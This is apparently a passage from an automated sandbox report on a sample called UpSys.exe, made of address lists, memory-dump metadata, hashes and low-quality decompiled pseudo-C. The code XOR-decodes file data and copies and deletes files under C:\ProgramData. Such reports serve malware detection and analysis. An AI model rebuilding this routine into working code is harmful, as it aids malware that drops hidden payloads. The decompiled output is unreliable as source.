                                                                                                                                                                                                        0x1400251c2
                                                                                                                                                                                                        0x1400251c7
                                                                                                                                                                                                        0x1400251ce
                                                                                                                                                                                                        0x1400251da
                                                                                                                                                                                                        0x1400251ea
                                                                                                                                                                                                        0x1400251ef
                                                                                                                                                                                                        0x1400251f8
                                                                                                                                                                                                        0x1400251ff
                                                                                                                                                                                                        0x14002520a
                                                                                                                                                                                                        0x14002520c
                                                                                                                                                                                                        0x140025211
                                                                                                                                                                                                        0x140025217
                                                                                                                                                                                                        0x14002521c
                                                                                                                                                                                                        0x140025222
                                                                                                                                                                                                        0x14002522a
                                                                                                                                                                                                        0x14002522c
                                                                                                                                                                                                        0x14002522f
                                                                                                                                                                                                        0x140025233
                                                                                                                                                                                                        0x140025238
                                                                                                                                                                                                        0x14002523f
                                                                                                                                                                                                        0x140025241
                                                                                                                                                                                                        0x140025246
                                                                                                                                                                                                        0x140025248
                                                                                                                                                                                                        0x14002524d
                                                                                                                                                                                                        0x140025253
                                                                                                                                                                                                        0x140025256
                                                                                                                                                                                                        0x14002525d
                                                                                                                                                                                                        0x14002527a

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 921712934-3875041276
                                                                                                                                                                                                        • Opcode ID: 88fc6646f9db213b9789d2cb39c5570044769ce5e522dba052848002c4d47db6
                                                                                                                                                                                                        • Instruction ID: dbba2634ef12614650f6c7f41e14ed85213ee81e441bc6c168218fe015affaf3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 88fc6646f9db213b9789d2cb39c5570044769ce5e522dba052848002c4d47db6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9822C3326086C482EB63AB56D4843ED6B91F78ABD4F588109FB9A077F5DB38CC45C706
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140005700 Relevance: 24.6, APIs: 16, Instructions: 603COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 30%
                                                                                                                                                                                                        			E00000001140005700(signed int* __rax, long long __rbx, signed long long __rcx, signed int __rdx, intOrPtr* __r8, long long __r9, long long _a8, intOrPtr _a16, long long _a24, intOrPtr _a40) {
				intOrPtr _v183;
				char _v184;
				long long _v192;
				long long _v200;
				intOrPtr _v207;
				char _v208;
				signed int _v216;
				intOrPtr _v224;
				long long _v232;
				signed char _t33;
				void* _t34;
				signed long long _t70;
				signed int _t78;

				_t70 = __rcx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t33 =  *0x400c88a0; // 0x1
				if ((_t33 & 0x00000001) == 0) goto 0x40005f52;
				r14b = 0;
				_v184 = 1;
				_v232 = __r9;
				_v224 = 0;
				_v216 = _t78;
				_v183 = r14b;
				_v208 = 1;
				_v207 = bpl;
				_t34 = E00000001140016ED8(__rax, __rcx);
				if (__rax == 0) goto 0x40038070;
				 *__rax = 0x14;
				r15d = _a40;
				__rax[2] = _t78;
				asm("movaps [esp+0xd0], xmm6");
				_v192 = __rax;
				_v200 = 1;
				r9d =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + _t70 * 8)) + 0xa));
				_a16 = r9d;
				if ( *__r8 == r15d) goto 0x40005b0d;
				if ( *((short*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + __rdx * 8)) + 8)) == 0x7f) goto 0x40005b0d;
				if (_t34 == 0x36) goto 0x40005891;
				if (_t34 - 0x37 < 0) goto 0x400059fe;
				if (_t34 - 0x41 >= 0) goto 0x400059fe;
				if (r14b != 0) goto 0x40005bb2;
				if (( *(0x1400af7a4 +  *__rax * 0x15) & 0x000000ff) != 3) goto 0x40005b17;
				if (_v224 != 1) goto 0x40038f87;
				if (_v216 != 0) goto 0x40005ca0;
				if (__rax == 0) goto 0x4000586c;
				0x40016a60();
				if (__rax[2] != 0) goto 0x40005858;
				asm("movaps xmm6, [esp+0xd0]");
				return 0;
			}
















                                                                                                                                                                                                        0x140005700
                                                                                                                                                                                                        0x140005700
                                                                                                                                                                                                        0x140005705
                                                                                                                                                                                                        0x14000571c
                                                                                                                                                                                                        0x140005732
                                                                                                                                                                                                        0x140005738
                                                                                                                                                                                                        0x140005740
                                                                                                                                                                                                        0x140005745
                                                                                                                                                                                                        0x14000574a
                                                                                                                                                                                                        0x14000574e
                                                                                                                                                                                                        0x140005753
                                                                                                                                                                                                        0x140005758
                                                                                                                                                                                                        0x14000575d
                                                                                                                                                                                                        0x140005762
                                                                                                                                                                                                        0x14000576a
                                                                                                                                                                                                        0x140005773
                                                                                                                                                                                                        0x140005779
                                                                                                                                                                                                        0x140005781
                                                                                                                                                                                                        0x140005789
                                                                                                                                                                                                        0x140005795
                                                                                                                                                                                                        0x14000579a
                                                                                                                                                                                                        0x1400057b5
                                                                                                                                                                                                        0x1400057bf
                                                                                                                                                                                                        0x1400057ce
                                                                                                                                                                                                        0x1400057e1
                                                                                                                                                                                                        0x1400057f2
                                                                                                                                                                                                        0x1400057fb
                                                                                                                                                                                                        0x140005804
                                                                                                                                                                                                        0x140005815
                                                                                                                                                                                                        0x140005834
                                                                                                                                                                                                        0x14000583f
                                                                                                                                                                                                        0x14000584d
                                                                                                                                                                                                        0x140005856
                                                                                                                                                                                                        0x14000585f
                                                                                                                                                                                                        0x14000586a
                                                                                                                                                                                                        0x14000586e
                                                                                                                                                                                                        0x140005890

                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: malloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2803490479-0
                                                                                                                                                                                                        • Opcode ID: c6ded77409813d9588ffeac8af8dca1199284d1e6380545dc7d79e9c199c4c59
                                                                                                                                                                                                        • Instruction ID: f20adeb827ff7fb76875764879d7ee3610eb27045d7ac40cb7d9932dddd0100f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c6ded77409813d9588ffeac8af8dca1199284d1e6380545dc7d79e9c199c4c59
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6F525B71208A4485FB6BEB13E4943EA77A0E78EBC4F984016FB4A476B5DF39C985C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400616B0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 140COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 73%
                                                                                                                                                                                                        			E000000011400616B0(void* __ecx, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, int* __r8, signed int* __r9, void* __r10, char _a8) {
				void* _v40;
				char _v568;
				int _v600;
				intOrPtr _v1158;
				intOrPtr _v1680;
				int _v1688;
				int _v1696;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				int _v1728;
				int _v1736;
				signed int _v1748;
				signed int _v1752;
				void* _t66;
				signed int _t74;
				void* _t75;
				int _t80;
				void* _t111;
				signed int* _t116;
				int _t120;
				void* _t137;
				int _t138;
				void* _t140;
				intOrPtr* _t141;
				int _t143;
				int* _t144;
				int _t146;

				_t113 = __rsi;
				_t75 = __eflags;
				_t66 = __ecx;
				_t80 = _t120;
				 *((long long*)(_t80 + 0x10)) = __rbx;
				 *((long long*)(_t80 + 0x18)) = __rbp;
				 *((long long*)(_t80 + 0x20)) = __rsi;
				r15d = 0;
				_v1736 = _t146;
				_v1728 = _t146;
				_v1720 = r15d;
				_v1716 = r15d;
				_v1712 = r15d;
				_v1708 = r15d;
				_v1704 = r15d;
				_v1696 = _t146;
				_v1688 = _t146;
				_v1680 = r15w;
				_t141 = __rcx;
				_t144 = __r8;
				_t15 = _t146 + 1; // 0x1
				r12d = _t15;
				r8d = 0;
				_t116 = __r9;
				 *((intOrPtr*)(_t80 - 0x486)) = r15w;
				 *(_t80 - 0x258) = _t146;
				_v1748 = r12d;
				E00000001140019E98( *((intOrPtr*)(__rcx + 8)), _t80, __rdx,  *__rcx, __rsi); // executed
				r9d = 0;
				if (E000000011400614B0(_t66, _t75, _t80, __rdx, _t141, __rdx, _t113, __r9,  &_v568) == r15d) goto 0x4006175b;
				goto 0x400618d1;
				E00000001140019A28(_t137, _t137,  *_t141);
				E00000001140019A28(_t111, _t137,  *_t141);
				_t74 = _v1752 ^ 0x000087bc;
				E00000001140019A28(_t111, _t137,  *_t141);
				r11d = _v1752;
				r11d = r11d ^ 0x000087bc;
				 *_t116 = r11d;
				E00000001140019A28(_t111, _t137,  *_t141);
				r8d = r12d;
				E00000001140019E98(0x10, _t80, __rdx,  *_t141, _t113); // executed
				malloc(_t146); // executed
				malloc(_t143); // executed
				r8d = 1;
				_t138 = _t80; // executed
				E00000001140019A28(_t74, _t137,  *_t141); // executed
				r9d =  *((intOrPtr*)(_t141 + 0xc));
				r8d = _t74;
				r9d = r9d + 0x15d55a65;
				E00000001140058F00(E000000011400614B0(_t66, _t75, _t80, __rdx, _t141, __rdx, _t113, __r9,  &_v568) - r15d, _t80, _t74, _t138, _t113,  *_t141, _t140);
				r8d = _t74;
				E0000000114003F370(_t74,  &_v1748, _t138, __r10);
				if ((_v1752 ^ 0x0000a685) == _v1748) goto 0x40061859;
				free(_t137);
				free(_t111);
				goto 0x400618d1;
				if (_a8 != 1) goto 0x400618c1;
				_v1720 = r15d;
				_v1716 = r15d;
				_v1712 = r15d;
				_v1696 = _t146;
				_v1688 = _t146;
				_v1680 = r15w;
				_v1158 = r15w;
				_v600 = _t146;
				_v1708 = 1;
				_v1704 = 1;
				_v1728 = _t138;
				_v1736 = _t80;
				E00000001140059110( *_t116, 0x10, _v1752 ^ 0x0000a685, _t80, _t74,  &_v1736, _t113, _t137,  *_t141); // executed
				free(??); // executed
				goto 0x400618cc;
				free(??);
				 *_t144 = _t138;
				return 0;
			}

































                                                                                                                                                                                                        0x1400616b0
                                                                                                                                                                                                        0x1400616b0
                                                                                                                                                                                                        0x1400616b0
                                                                                                                                                                                                        0x1400616b0
                                                                                                                                                                                                        0x1400616b3
                                                                                                                                                                                                        0x1400616b7
                                                                                                                                                                                                        0x1400616bb
                                                                                                                                                                                                        0x1400616cf
                                                                                                                                                                                                        0x1400616d8
                                                                                                                                                                                                        0x1400616dd
                                                                                                                                                                                                        0x1400616e2
                                                                                                                                                                                                        0x1400616e7
                                                                                                                                                                                                        0x1400616ec
                                                                                                                                                                                                        0x1400616f1
                                                                                                                                                                                                        0x1400616f6
                                                                                                                                                                                                        0x1400616fb
                                                                                                                                                                                                        0x140061700
                                                                                                                                                                                                        0x140061705
                                                                                                                                                                                                        0x14006170b
                                                                                                                                                                                                        0x140061711
                                                                                                                                                                                                        0x140061714
                                                                                                                                                                                                        0x140061714
                                                                                                                                                                                                        0x140061718
                                                                                                                                                                                                        0x14006171b
                                                                                                                                                                                                        0x14006171e
                                                                                                                                                                                                        0x140061726
                                                                                                                                                                                                        0x14006172d
                                                                                                                                                                                                        0x140061732
                                                                                                                                                                                                        0x14006173f
                                                                                                                                                                                                        0x140061750
                                                                                                                                                                                                        0x140061756
                                                                                                                                                                                                        0x14006176d
                                                                                                                                                                                                        0x140061786
                                                                                                                                                                                                        0x1400617a3
                                                                                                                                                                                                        0x1400617a5
                                                                                                                                                                                                        0x1400617aa
                                                                                                                                                                                                        0x1400617b3
                                                                                                                                                                                                        0x1400617c1
                                                                                                                                                                                                        0x1400617c5
                                                                                                                                                                                                        0x1400617d2
                                                                                                                                                                                                        0x1400617e0
                                                                                                                                                                                                        0x1400617e8
                                                                                                                                                                                                        0x1400617f6
                                                                                                                                                                                                        0x1400617ff
                                                                                                                                                                                                        0x14006180b
                                                                                                                                                                                                        0x14006180e
                                                                                                                                                                                                        0x140061813
                                                                                                                                                                                                        0x140061817
                                                                                                                                                                                                        0x140061820
                                                                                                                                                                                                        0x140061827
                                                                                                                                                                                                        0x140061831
                                                                                                                                                                                                        0x140061837
                                                                                                                                                                                                        0x140061840
                                                                                                                                                                                                        0x140061845
                                                                                                                                                                                                        0x14006184d
                                                                                                                                                                                                        0x140061857
                                                                                                                                                                                                        0x140061861
                                                                                                                                                                                                        0x140061868
                                                                                                                                                                                                        0x14006186d
                                                                                                                                                                                                        0x140061872
                                                                                                                                                                                                        0x140061877
                                                                                                                                                                                                        0x14006187c
                                                                                                                                                                                                        0x140061881
                                                                                                                                                                                                        0x140061887
                                                                                                                                                                                                        0x140061890
                                                                                                                                                                                                        0x140061898
                                                                                                                                                                                                        0x1400618a0
                                                                                                                                                                                                        0x1400618a8
                                                                                                                                                                                                        0x1400618ad
                                                                                                                                                                                                        0x1400618b2
                                                                                                                                                                                                        0x1400618ba
                                                                                                                                                                                                        0x1400618bf
                                                                                                                                                                                                        0x1400618c4
                                                                                                                                                                                                        0x1400618cc
                                                                                                                                                                                                        0x1400618f1

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _fread_nolock$freemalloc$_errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 990732115-3875041276
                                                                                                                                                                                                        • Opcode ID: a9ea361cf07cc9f840107293bb7363df1ca58d9ae995da5a5b0dbb8f4870f298
                                                                                                                                                                                                        • Instruction ID: ab3766b0ac187af99ccdcd733a5a9c597dd5f2707473622c1022f7ba54641d98
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a9ea361cf07cc9f840107293bb7363df1ca58d9ae995da5a5b0dbb8f4870f298
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A1516A722146848AD721DF12A444BCEB7E9F789BC4F954915FF891BB6ACF3AD400CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015BA0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 56windowregistryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                                                                                                                        • String ID: +$P$PowerRun:v1.5$TaskbarCreated
                                                                                                                                                                                                        • API String ID: 2914291525-539821707
                                                                                                                                                                                                        • Opcode ID: dada6234b7f9d25d7e76fd4abe72eaa0a904c6b8e09426188162eca7e739f3f7
                                                                                                                                                                                                        • Instruction ID: 04b8dddab7db30a35cebd7351ab28fa50a1de808302253191c5c20d7a44a387d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dada6234b7f9d25d7e76fd4abe72eaa0a904c6b8e09426188162eca7e739f3f7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 41311436109B8086E7218F22F84878AB7B4F78C780F500115EB8E43B78DB7DC589CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140061900 Relevance: 18.2, APIs: 12, Instructions: 249fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 78%
                                                                                                                                                                                                        			E00000001140061900(void* __ebx, void* __ecx, void* __edi, void* __eflags, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __r8, void* __r9, void* __r10, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t97;
				void* _t106;
				signed char _t123;
				void* _t129;
				void* _t145;
				void* _t151;
				void* _t157;
				long long _t173;
				int _t235;
				intOrPtr* _t236;
				WCHAR* _t238;
				void* _t239;
				WCHAR* _t241;
				WCHAR* _t243;
				void* _t245;
				void* _t246;
				WCHAR* _t280;
				long long _t282;
				WCHAR* _t285;
				void* _t288;
				void* _t290;

				_t278 = __r11;
				_t277 = __r10;
				_t174 = __rbx;
				_t172 = __rax;
				_t157 = __eflags;
				_t151 = __edi;
				_t145 = __ecx;
				 *((long long*)(_t245 + 0x10)) = __rbx;
				 *((long long*)(_t245 + 0x18)) = __r8;
				E00000001140030CB0(0x11220, __rax, __r10, __r11);
				_t246 = _t245 - __rax;
				_t236 = __rcx;
				_t239 = __rdx;
				 *(_t246 + 0x50) = _t241;
				 *(_t246 + 0x58) = _t241;
				 *((intOrPtr*)(_t246 + 0x60)) = 0;
				 *((intOrPtr*)(_t246 + 0x64)) = 0;
				 *((intOrPtr*)(_t246 + 0x68)) = 0;
				 *((intOrPtr*)(_t246 + 0x6c)) = 0;
				 *((intOrPtr*)(_t246 + 0x70)) = 0;
				 *(_t246 + 0x78) = _t241;
				 *(_t246 + 0x80) = _t241;
				 *((short*)(_t246 + 0x88)) = 0;
				 *((short*)(_t246 + 0x292)) = 0;
				 *(_t246 + 0x4c0) = _t241;
				E0000000114004F560(__ebx, _t157, __rax, _t246 + 0x4e0, __r9);
				_t17 =  &(_t241[0]); // 0x1
				r13d = _t17;
				r8d = 0;
				 *(_t246 + 0x34) = r13d;
				E00000001140019E98( *((intOrPtr*)(_t236 + 8)), _t172, __rbx,  *_t236, _t239); // executed
				_t97 = E00000001140017790(_t239, 0x4009e840);
				r9d = 0;
				if (_t97 != 0) goto 0x40061a8d;
				if (E000000011400614B0(_t145, _t97, _t172, _t174, _t236, _t239, _t239, _t241, _t246 + 0xbf0) == 0) goto 0x400619d1;
				goto 0x40061d46;
				_t173 = _t246 + 0x1010;
				 *((long long*)(_t246 + 0x20)) = _t173;
				E0000000114001823C(_t174, __r8, _t246 + 0x38, _t239, _t246 + 0x9e0, _t246 + 0xe00, _t277, _t278);
				E00000001140016E4C(_t246 + 0x7d0, _t246 + 0x38);
				E00000001140016E20(_t246 + 0x7d0, _t246 + 0x9e0);
				 *((long long*)(_t246 + 0x20)) = _t246 + 0x1010;
				E0000000114001823C(_t174, _t246 + 0xbf0, _t246 + 0x38, _t239, _t246 + 0x9e0, _t246 + 0xe00, _t277, _t246 + 0x1010);
				E00000001140016E20(_t246 + 0x7d0, _t246 + 0xe00);
				E00000001140016E20(_t246 + 0x7d0, _t246 + 0x1010);
				_t282 = _t246 + 0x7d0;
				 *((long long*)(_t246 + 0x11270)) = _t282;
				goto 0x40061a9a; // executed
				_t106 = E000000011400614B0(_t145, E000000011400614B0(_t145, _t97, _t172, _t174, _t236, _t239, _t239, _t241, _t246 + 0xbf0), _t173, _t174, _t246 + 0x7d0, _t246 + 0x1010, _t239, _t241, _t246 + 0x9e0); // executed
				if (_t106 != 0) goto 0x400619c7;
				E00000001140019A28(_t285, _t285,  *_t236);
				E00000001140019A28(_t239, _t285,  *_t236);
				r14d =  *(_t246 + 0x30);
				r14d = r14d ^ 0x000087bc;
				E00000001140019A28(_t239, _t285,  *_t236);
				E00000001140019A28(_t239, _t285,  *_t236);
				 *(_t246 + 0x38) =  *(_t246 + 0x30) ^ 0x0000a685;
				E00000001140019A28(_t239, _t285,  *_t236);
				E00000001140019A28(_t239, _t285,  *_t236);
				E00000001140019A28(_t239, _t285,  *_t236);
				E00000001140019A28(_t239, _t285,  *_t236);
				E0000000114003EF50(_t246 + 0x5c0); // executed
				E000000011400195FC(_t151, _t173, _t174, _t246 + 0x5c0, 0x4009e844, _t239); // executed
				if (_t173 != _t241) goto 0x40061b87;
				goto 0x40061d46;
				E0000000114004F490( *((intOrPtr*)(_t236 + 0xc)) + 0x15d55a65, _t173 - _t241, _t174, _t246 + 0x4e0,  *_t236);
				if (r14d <= 0) goto 0x40061c53;
				r12d = 0;
				_t57 = _t239 + 0x10000; // 0x10000
				if (_t57 - r14d <= 0) goto 0x40061bbd;
				goto 0x40061bc2;
				E00000001140019A28(0x4009e844, 0x10000,  *_t236); // executed
				if (0x10000 - _t282 <= 0) goto 0x40061c0b;
				r8d = 0xff;
				_t123 = E0000000114004F520(0x10000 - _t282, _t246 + 0x4e0);
				_t243 = _t282 + 1;
				 *(_t246 +  &(_t243[0x90f])) =  *(_t246 +  &(_t243[0x90f])) ^ _t123;
				if (_t243 - 0x10000 < 0) goto 0x40061be7;
				r8d = 0x10000;
				E0000000114003F370(_t174, _t246 + 0x34, _t246 + 0x1220, _t277);
				r13d = 1;
				E00000001140018CE4(_t174, _t246 + 0x1220, 0x10000, _t236, _t239, 0x10000, _t173); // executed
				if (0x10000 - r14d < 0) goto 0x40061bab;
				E00000001140019694(_t151, _t173, _t174, _t173, _t290); // executed
				if ( *(_t246 + 0x38) ==  *(_t246 + 0x34)) goto 0x40061c6b;
				goto 0x40061d0f;
				if ( *((intOrPtr*)(_t246 + 0x11260)) != r13b) goto 0x40061cf2;
				 *(_t246 + 0x50) = _t243;
				 *(_t246 + 0x58) = _t243;
				 *((intOrPtr*)(_t246 + 0x60)) = 0;
				 *((intOrPtr*)(_t246 + 0x64)) = 0;
				 *((intOrPtr*)(_t246 + 0x68)) = 0;
				 *(_t246 + 0x78) = _t243;
				 *(_t246 + 0x80) = _t243;
				 *((short*)(_t246 + 0x88)) = 0;
				 *((short*)(_t246 + 0x292)) = 0;
				 *(_t246 + 0x4c0) = _t243;
				 *((intOrPtr*)(_t246 + 0x6c)) = 0;
				 *((intOrPtr*)(_t246 + 0x70)) = 0;
				E00000001140016E4C(_t246 + 0x88, _t246 + 0x5c0);
				E00000001140016E4C(_t246 + 0x292,  *((intOrPtr*)(_t246 + 0x11270)));
				_t129 = E00000001140059110(_t145, 0, _t151, _t173, _t174, _t246 + 0x50, _t239, 0x10000, _t173, _t288); // executed
				if (_t129 == 0) goto 0x40061d21;
				goto 0x40061d0f;
				r8d = 0;
				if (CopyFileW(_t285, _t280, _t235) != 0) goto 0x40061d21;
				DeleteFileW(_t238);
				goto 0x40061d46;
				DeleteFileW(_t241); // executed
				E0000000114003EED0(_t174,  *((intOrPtr*)(_t246 + 0x11270)), _t239, _t246 + 0x40, _t246 + 0x48); // executed
				return 0;
			}



























                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061900
                                                                                                                                                                                                        0x140061905
                                                                                                                                                                                                        0x14006191a
                                                                                                                                                                                                        0x14006191f
                                                                                                                                                                                                        0x140061924
                                                                                                                                                                                                        0x140061932
                                                                                                                                                                                                        0x140061935
                                                                                                                                                                                                        0x14006193a
                                                                                                                                                                                                        0x14006193f
                                                                                                                                                                                                        0x140061943
                                                                                                                                                                                                        0x140061947
                                                                                                                                                                                                        0x14006194b
                                                                                                                                                                                                        0x14006194f
                                                                                                                                                                                                        0x140061953
                                                                                                                                                                                                        0x140061958
                                                                                                                                                                                                        0x140061960
                                                                                                                                                                                                        0x140061968
                                                                                                                                                                                                        0x140061970
                                                                                                                                                                                                        0x140061978
                                                                                                                                                                                                        0x140061983
                                                                                                                                                                                                        0x140061983
                                                                                                                                                                                                        0x14006198a
                                                                                                                                                                                                        0x14006198d
                                                                                                                                                                                                        0x140061991
                                                                                                                                                                                                        0x1400619a0
                                                                                                                                                                                                        0x1400619a5
                                                                                                                                                                                                        0x1400619b8
                                                                                                                                                                                                        0x1400619c5
                                                                                                                                                                                                        0x1400619cc
                                                                                                                                                                                                        0x1400619d1
                                                                                                                                                                                                        0x1400619f1
                                                                                                                                                                                                        0x1400619f6
                                                                                                                                                                                                        0x140061a08
                                                                                                                                                                                                        0x140061a1d
                                                                                                                                                                                                        0x140061a47
                                                                                                                                                                                                        0x140061a4c
                                                                                                                                                                                                        0x140061a61
                                                                                                                                                                                                        0x140061a76
                                                                                                                                                                                                        0x140061a7b
                                                                                                                                                                                                        0x140061a83
                                                                                                                                                                                                        0x140061a8b
                                                                                                                                                                                                        0x140061a8d
                                                                                                                                                                                                        0x140061a94
                                                                                                                                                                                                        0x140061aab
                                                                                                                                                                                                        0x140061ac3
                                                                                                                                                                                                        0x140061ac8
                                                                                                                                                                                                        0x140061adb
                                                                                                                                                                                                        0x140061ae2
